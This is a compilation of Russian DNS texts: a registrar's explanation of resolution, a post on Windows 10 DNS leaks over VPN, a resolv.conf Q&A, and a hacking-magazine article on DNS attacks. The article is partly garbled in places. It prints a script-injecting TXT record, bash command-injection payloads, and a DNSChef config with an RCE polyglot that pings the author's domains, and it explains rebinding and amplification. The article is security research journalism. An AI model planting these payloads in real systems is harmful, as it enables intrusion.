Допустим, вы ввели в строке своего браузера «test.ru».
Рассмотрим работу DNS пошагово:
Ваш браузер об IP-адресе test.ru ничего не знает и с запросом IP-адреса через специальную программу — resolver обращается к локальному серверу имен. Локальный DNS-сервер — это сервер имен вашей локальной сети или DNS-сервер вашего интернет-провайдера. «Откуда браузеру известно о существовании этого локального DNS?» — спросите вы. Все предельно просто. При настройках сетевого подключения вы прописываете IP-адреса DNS-серверов (предпочитаемого и/или альтернативного), один из которых будет отвечать на запросы, посылаемые вашим браузером через resolver — это и есть локальный или местный сервер вашей сети. Вы всегда можете посмотреть IP-адрес вашего локального DNS-сервера. Для этого достаточно посмотреть свойства сетевого подключения, используемого на вашем компьютере.
Запрос на IP-адрес test.ru доходит до местного сервера имен. Этот сервер о данном IP-адресе ничего не знает и посылает запрос одному из корневых серверов «.» (root).
Корневой сервер отдает локальному серверу IP-адрес сервера, который поддерживает зону .RU.
Далее по полученному адресу локальный сервер имен обращается к DNS-серверу, который поддерживает .RU.
Этот DNS-сервер, в свою очередь, по полученному запросу отдает IP-адрес сервера, который поддерживает зону test.ru.
Местный DNS-сервер с запросом IP-адреса test.ru обращается к DNS-серверу зоны test.ru.
Локальный сервер имен получает IP-адрес test.ru от DNS-сервера зоны test.ru.
Получив адрес test.ru, локальный DNS-сервер сообщает его вашему браузеру.
Смотрите также:
Редактор DNS (бесплатно)
Что такое DNS?
Информация для клиентов: +7 (495) 783-3-783; info@r01.ru Техническая поддержка: +7 (495) 783-3-783; support@r01.ru Центральный офис: г. Москва, Большой Гнездниковский переулок, дом 1, строение 2 ( м. «Тверская», выход №9, Бизнес-Центр «Вознесенский»).
Особенности резолвера DNS в Windows 10 и DNS Leak
TL;DR: DNS-резолвер в Windows 10 отправляет запросы на все известные системе адреса DNS-серверов параллельно, привязывая запрос к интерфейсу, и использует тот ответ, который пришел быстрее. В случае, если вы используете DNS-сервер из локального сегмента, такое поведение позволяет вашему провайдеру или злоумышленнику с Wi-Fi-точкой подменять записи DNS, даже если вы используете VPN.
Современные версии Windows добавляют головные боли активным пользователям VPN. DNS-резолвер до Windows 7 включительно имел предсказуемое поведение, совершая запросы к DNS-серверам в порядке очереди и приоритета DNS-серверов, в общем-то, как и все остальные ОС. Это создавало так называемый DNS Leak (утечка DNS-запроса через внешний интерфейс при подключенном VPN) только в том случае, если DNS-сервер внутри VPN-туннеля не ответил вовремя, или ответил ошибкой, и, в целом, не являлось такой уж вопиющей проблемой.
Windows 8
С выходом Windows 8, Microsoft добавила весьма интересную функцию в DNS-резолвер, которая, как я могу судить по Google, осталась совершенно незамеченной: Smart Multi-Homed Name Resolution. Если эта функция включена (а она включена по умолчанию), ОС отправляет запросы на все известные ей DNS-серверы на всех сетевых интерфейсах параллельно, привязывая запрос к интерфейсу. Сделано это было, вероятно, для того, чтобы уменьшить время ожидания ответа от предпочитаемого DNS-сервера в случае, если он по каким-то причинам не может ответить в отведенный ему таймаут (1 секунда по умолчанию), и сразу, по истечении таймаута, отдать ответ от следующего по приоритету сервера. Таким образом, в Windows 8 и 8.1 все ваши DNS-запросы «утекают» через интернет-интерфейс, позволяя вашему провайдеру или владельцу Wi-Fi-точки просматривать, на какие сайты вы заходите, при условии, что ваша таблица маршрутизации позволяет запросы к DNS-серверу через интернет-интерфейс. Чаще всего такая ситуация возникает, если использовать DNS-сервер внутри локального сегмента, такие DNS поднимают 99% домашних роутеров.
Данную функциональность можно отключить, добавив в ветку реестра: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\DNSClient Параметр типа DWORD с названием: DisableSmartNameResolution и любым значением, отличным от нуля, что возвращало старое поведение резолвера.
Windows 10
Хоть Windows 8 и 8.1 отправляли все ваши запросы без вашего ведома через публичный интерфейс, совершить подмену DNS-ответа таким образом, чтобы перенаправить вас на поддельный сайт, было проблематично для злоумышленника, т.к. ОС бы использовала подмененный ответ только в том случае, если не удалось получить правильный ответ от предпочитаемого DNS-сервера, коим является сервер внутри шифрованного туннеля. Все изменилось с приходом Windows 10. Теперь ОС не только отправляет запрос через все интерфейсы, но и использует тот ответ, который быстрее пришел, что позволяет практически всегда вашему провайдеру перенаправить вас на заглушку о запрещенном сайте или злоумышленнику на поддельный сайт. Более того, способ отключения Smart Multi-Homed Name Resolution, который работал в Windows 8.1, не работает на новой версии. Единственный приемлемый (хоть и не самый надежный) способ решения проблемы — установить DNS на интернет-интерфейсе вне локального сегмента, например, всем известные 8.8.8.8, однако, он не поможет в случае с OpenVPN. Для OpenVPN единственным (и некрасивым) решением является временное отключение DNS на интернет-интерфейсе скриптами.
UPD: ранее в статье рекомендовалось использовать параметр redirect-gateway без def1 для OpenVPN. Оказывается, Windows возвращает маршрут по умолчанию от DHCP-сервера при каждом обновлении IP-адреса, и через какое-то время весь ваш трафик начинал бы ходить в обход VPN. На данный момент, красивого решения не существует.
UPD3: Windows 10, начиная с Creators Update, теперь отправляет DNS-запросы на все известные адреса DNS-серверов по порядку, а не параллельно, начиная со случайного интерфейса. Чтобы повысить приоритет конкретного DNS, необходимо уменьшить метрику интерфейса. Сделал патч для OpenVPN, надеюсь, его включат в 2.4.2: https://sourceforge.net/p/openvpn/mailman/message/35822231/
UPD4: Обновление вошло в OpenVPN 2.4.2.
Домен не резолвится с сервера, с других серверов резолвится, как исправить?
Домен не резолвится (не отвечает) с сервера, с других серверов резолвится, как это исправить? По ip достучаться можно.
короткая ссылка на этот вопрос: close
спросил 10 лет назад
1 ответ
Не резолвится домен означает что домен не доступен или не отвечает.
Попробовать добавить адреса других DNS-серверов в /etc/resolv.conf.
Например, добавить google DNS-сервер 8.8.8.8, или вебазилловский DNS-сервер 208.88.224.54. Для этого нужно добавить строку nameserver 8.8.8.8 в /etc/resolv.conf :
echo nameserver 8.8.8.8 >> /etc/resolv.conf
Если не хватает прав (отказано в доступе), то под sudo:
sudo sh -c "echo nameserver 8.8.8.8 >> /etc/resolv.conf"
Проверить, резолвится ли домен и какой DNS сервер использует можно командой nslookup:
$ nslookup whois.pandi.or.id ;; Got SERVFAIL reply from 208.88.224.54, trying next server Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: Name: whois.pandi.or.id Address: 203.119.112.102 Name: whois.pandi.or.id Address: 203.119.112.103
Опасный резолв. Разбираем на пальцах три мощных вектора атак через DNS
DNS — одна из самых старых технологий в современных реалиях интернетов. В эпоху появления доменных имен, когда людям стало лень запоминать IP-адреса для входа на тот или иной компьютер, были созданы те самые текстовые таблицы с алиасами IP-адресов. Спрашиваешь ты сервер DNS’а: кто такой domain.com? А он тебе IP-адрес в ответ. Но когда интернет начал распространяться по всему миру, доменов стало много и носить с собой эту таблицу оказалось неудобно, появилась современная реализация DNS-серверов.
Max power!
Современные DNS-серверы — распределенные. Они находятся в каждой точке мира и кешируют данные с различными типами записей. Эта запись для почты, а эта — для SIP. A-запись вернет привычный всем IPv4-адрес, AAAA — IPv6. Потом и DNSSEC подтянулся. В общем, обросла фичами та табличка, но сама суть осталась неизменна. Отсюда и атаки с использованием DNS-сервера, которые актуальны до сих пор.
Например, есть такой тип запроса — AXFR. Это запрос на передачу зоны DNS. Он используется для репликации DNS-сервера, а если сервер настроен неправильно, то он может вернуть все используемые записи конкретного домена на этом сервере. Во-первых, этот missconfig позволяет узнать техническую информацию об инфраструктуре какого-либо сайта, какие тут IP-адреса и поддомены. Именно так украли исходники HL2 (может, поэтому так долго нет третьей :D)? А так как в подавляющем большинстве случаев DNS работает по протоколу UDP, подделать отправителя несложно.
Этим и занялись вирмейкеры, запрашивая у тысячи серверов все данные о каком-нибудь домене. В результате такого запроса в ответ отдается большой и толстый пакет, содержащий подробную информацию о конфигурации сети, но пойдет он не к нам, а на указанный адрес. Результат налицо: разослав большой список «уязвимых» доменов, использовав при этом малые ресурсы сети и подделав обратный адрес, злоумышленник добьется того, что ответы от тысяч DNS серверов просто забомбят подделанный IP-адрес.
На смену им пришел DNSSEC — ключи, которые используются в нем, много больше, чем отправленные данные, в результате DDoS и отказ в обслуживании ресурса, который стал жертвой «дудосеров», стало получить еще легче. Да и вообще, DNS Amplification («DNS-усиление») имеет смысл, даже когда сервер просто возвращает больше информации, чем ему отправляется, — например, отправляются несколько десятков байт, а возвращается несколько сотен.
DNS Rebinding / Anti DNS Pinning
Но и атаки на клиентов не в диковинку. Одна из атак позволяет злоумышленнику обойти SOP и тем самым выполнить любое действие в контексте браузера пользователя от его лица. Ну не совсем обойти, а использовать одну особенность для атаки. Имя ее DNS Rebinding (она же Anti DNS Pinning). Смысл таков.
Есть некий сайт, подконтрольный злоумышленнику. Домен имеет две A-записи: первая — сам сайт хакера, вторая — внутренний ресурс, который недоступен извне. Жертва открывает зловредный сайт, страница (с JavaScript) загружается, после чего сервер, откуда загрузился сайт, перестает отвечать на запросы.
Что делает браузер, когда не отвечает IP из первой записи? Правильно! Идет ко второй! При попытке обращения к домену злоумышленника он идет на внутренний ресурс, тем самым силами JS он может отправлять и принимать запросы, да и вообще творить черт-те что. Почему? Потому что с точки зрения браузера страница обращается на свой же домен. Вроде бы и жертва находится на какой-то странице, в то же время эта страница начинает брутить его роутер или почту и выносить оттуда письма.
Правда, для этого необходимо выполнить ряд условий: уязвимый сервер должен отвечать на любой сторонний домен (ибо в заголовке Host будет доменное имя злоумышленника, по понятным причинам), ну-у-у. и знать, какой IP атаковать.
WARNING
Кстати, вот подсказка охотникам за ошибками. Видишь, что IP отвечает на произвольное доменное имя, — расскажи разработчикам об этой атаке :).
На самом деле браузеры пытались исправить такого рода атаки и ввели кеширование соответствия domain IP на 60 секунд. Теперь злоумышленнику необходимо продержать жертву на странице больше минуты, но, думаю, это не так сложно, ведь цель оправдывает средства.
А узнать, какие внутренние ресурсы доступны, можно с помощью проверки хеша браузера или с помощью вариации CSS History Hack. Последнюю использовали в исследовании этой уязвимости PTsecurity (ссылки на материалы, как всегда, в конце статьи). Но можно воспользоваться и еще одной фичей.
INFO
Почитать про DNS-ребиндинг можно тут:
Как мы выяснили, если доменное имя имеет несколько IP-адресов, то браузер (или другой клиент) при недоступности первой записи переходит на вторую.
Тема такая. Специально настроенный сервер DNS возвращает на доменное имя злоумышленника подобные записи:
Теперь смотри. Когда жертва открывает страницу злоумышленника, на странице находится картинка, которая должна загрузиться с адреса test.evil.host, браузер резолвит доменное имя и получает массив IP-адресов.
Первым он пытается открыть 192.168.1.1:80, которого нет в нашей сети. Недоступен? Идет дальше и открывает 192.168.1.1.evil.host. Так как это подконтрольный сервер, мы фиксируем, что такого IP-адреса с таким портом нет.
И-и-и. Делаем перенаправление на test2.evil.host! И так до тех пор, пока ответа не будет или количество редиректов не достигнет 20 (обычно после браузер перестает ходить по редиректам, хотя Хром выводит ошибку и продолжает ходить).
Создаем множество скрытых загрузок на различные порты и диапазоны адресов — и мы получаем отсканированную внутреннюю сеть. Если порт открыт, даже если это не HTTP, а, например, порт 3306 (MySQL), — браузер выведет ошибку и не будет больше переходить по редиректам. Посмотрев отсутствующие записи (браузер не отправил HTTP-пакет на этот адрес), можно прикинуть, какие порты открыты.
XSS-инжекты через DNS
Некоторое время назад как иностранные, так и русскоязычные СМИ рассказывали об атаке, в которой в качестве TXT-записи отдается XSS-вектор. Настраиваем TXT-запись подобным образом (только замени квадратные скобки вокруг [script] на угловые ):
evil.host. 300 IN TXT "[script]alert()[/script]"
и там, где веб-приложение показывает эту запись, скрипт выполнится. Разумеется, если не фильтруются спецсимволы в пользовательских данных.
«А что тут такого?» — подумал я. У меня XSS-вектор в домене висит полдесятка лет (еще Agava не может ее нормально пофиксить, алерт вылезает прямо в кабинете), ведь завести подобную запись можно в любой панели управления. А как насчет других записей?
Сказано — сделано. В первую очередь я запилил сервер и завел NS-запись на hack.bo0om.ru, который будет обслуживаться моим сервером. Для упрощения создания конфигурации я воспользовался моим любимым Python-скриптом DNSChef. Это DNS-proxy, который может логировать запросы к нему, а еще и удобненько настраивать.
Другие статьи в выпуске:
Xakep #213. FUCK UAC
Содержание выпуска
Подписка на «Хакер» -60%
Самое смешное, что в самом начале теста я завел запись
ns.hack.bo0om.ru. 0 IN NS ns.hack.bo0om.ru.
(IP-адрес ns.hack нужно получить у домена ns.hack). И попробовал посовать этот домен во всякие формы сайтов. Ну и что ты думаешь?
Часть DNS-клиентов стала рекурсивно запрашивать у меня записи, а когда лог достиг сотни мегабайт, эксперимент пришлось прервать. Технологии используются несколько десятков лет, а поломать все можно логической ловушкой, ну офигеть теперь!
Ну ладно, продолжим. Открываем dnschef.ini, пишем туда следующий конфиг (опять же, не забудь заменить скобки для [script]):
[NS] # Queries for mail server records *.xss.hack.bo0om.ru prettyprint">[MX] # Queries for mail server records *.xss.hack.bo0om.ru prettyprint">[CNAME] # Queries for alias records *.xss.hack.bo0om.ru width: 1040px" >Инжект на Who.is Инжект на DNSqueries.com
Но профита от этого мало, правда? Ради эксперимента я решил попробовать атаковать уже серверную часть. Какие есть пейлоады с выполнением произвольного кода в bash? Я выделил
& whoami `whoami` $(whoami) ‘&whoami “&whoami
Также на сервере может быть закрыт доступ на 80/443-й порт, а DNS обычно открыт. Используя все эти трюки, я составил такой RCE-полиглот:
Команда ping выполнится на один из моих доменных имен, но, чтобы узнать, какой IP у домена, он придет ко мне — тут-то я и увижу, что выполнение произвольного кода сработало. Иду в конфиг, делаю так:
[NS] # Queries for mail server records *.rce.hack.bo0om.ru=&$(ping$-c1$rce1.bo0om.ru)&ping -c1 rce2.bo0om.ru&'\"`0&$(ping$-c1$rce3.bo0om.ru)&ping -c1 rce4.bo0om.ru&`' [MX] # Queries for mail server records *.rce.hack.bo0om.ru=&$(ping$-c1$rce1.bo0om.ru)&ping -c1 rce2.bo0om.ru&'\"`0&$(ping$-c1$rce3.bo0om.ru)&ping -c1 rce4.bo0om.ru&`' [CNAME] # Queries for alias records *.rce.hack.bo0om.ru=&$(ping$-c1$rce1.bo0om.ru)&ping -c1 rce2.bo0om.ru&'\"`0&$(ping$-c1$rce3.bo0om.ru)&ping -c1 rce4.bo0om.ru&`'
Ну и что? А ничего. Посовал на всяких сайтах домен, а отстука о выполнении произвольного кода нет. Не было. Где-то неделю. А потом та-да-ам!
Действительно, кто-то собирал соответствие домен — запись и недостаточным образом фильтровал данные от DNS-сервера. Так может, таким образом можно и Shodan хакнуть? ��
Outro
Куда еще копать? DNS-туннели, DNS hijacking, OOB attacks, DNS cache poisoning, DNS flood. Я уверен, что можно таким образом выполнять SQL-инъекции и их будет много больше, — правда, это получается совсем вслепую. Хотя, может, попробуешь OOB-вектор в MS SQL?
Подписывайся на канал, ставь лайки, вот это всё ;).
